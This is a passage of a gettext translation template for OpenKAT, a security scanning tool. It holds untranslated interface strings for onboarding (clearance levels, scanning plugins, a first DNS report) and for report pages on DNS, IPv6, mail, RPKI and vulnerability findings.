\"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe 